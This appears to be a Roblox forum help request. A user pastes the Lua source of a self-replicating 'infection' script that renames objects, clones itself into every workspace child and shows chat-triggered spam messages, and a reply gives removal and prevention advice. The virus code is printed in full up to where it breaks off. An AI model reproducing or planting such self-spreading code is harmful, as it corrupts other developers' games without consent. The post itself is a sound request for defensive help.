Can someone please help me fix this Infection in Studio?

I have an infection that if its in pause mode and I delete it, hundreds more generate but when I go Test>Start There is 4JAMDUDE4 and Player in Terrain, Player and benjonas2 in Camera and player and MightyCHILI in Baseplate, so 2 in each and when I delete them those same 2 re appear and they each have a script called [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]] in them and this is it. Can someone please help me delete these? It does it to all my games and every account I use even in a game with no models or bricks at all.

names={"benjonas2", "michael1784", "mightyCHILI", "4JAMDUDE4"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()

function addEvent(ch)
	wait(math.random())
	NameCheck = false
	for ss = 1, #names do
		if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
			NameCheck = true
		end
	end
	if NameCheck == false then
		local cloak = c:Clone()
		cloak.Name = ""
		cloak:GetChildren()[1].Name = ""
		cloak.Parent = ch
		cloak.Name = names[math.random(1, 5)]
	end
end

workspace.ChildAdded:connect(addEvent)

game.Players.PlayerAdded:connect(function(pl)
	pl.Chatted:connect(function(m)
		if m:sub(1, 5) == "/sc t" then
			local m = Instance.new("Message")
			m.Parent = workspace
			m.Text = "THEY CALL ME CRAZY"
			wait(1)
			m.Text = "Get some"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "GOTTA GOTTA BE CRAZY"
			wait(1)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "lOoOoOoOp"
			wait(0.25)
			m.Text = "LoOoOoOoP"
			wait(0.25)
			m.Text = "GOTTA GET A LIFE (YOU)"
			wait(3)
			m:remove()
		end
		if m:sub(1, 5) == "HAAXX" then
			local m = Instance.new("Message")
			m.Parent = workspace
			m.Text = "HAAXX"	
			wait(3)
			m:remove()
		end
	end)
end)

while true do
	local s = workspace:GetChildren()
	for i = 1, #s do
		NameCheck = false
		for ss = 1, #names do
			if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
				NameCheck = true
			end
		end
		if NameCheck == false then
			local cloak = c:Clone()
			cloak.Name = ""
			cloak:GetChildren()[1].Name = ""

Have you tried to restore your game to an earlier version? If you have not you could restore it in Studio Mode. Otherwise you may have to comb threw the entire children of your workspace. Be sure to check every block and every script. This is usually caused by using Models from the tool box. I would recommend searching the entire contents of the models before you place them or even test to see it they work. I also open a new Studio Place to test or check the models before I place them into my active game im working on.
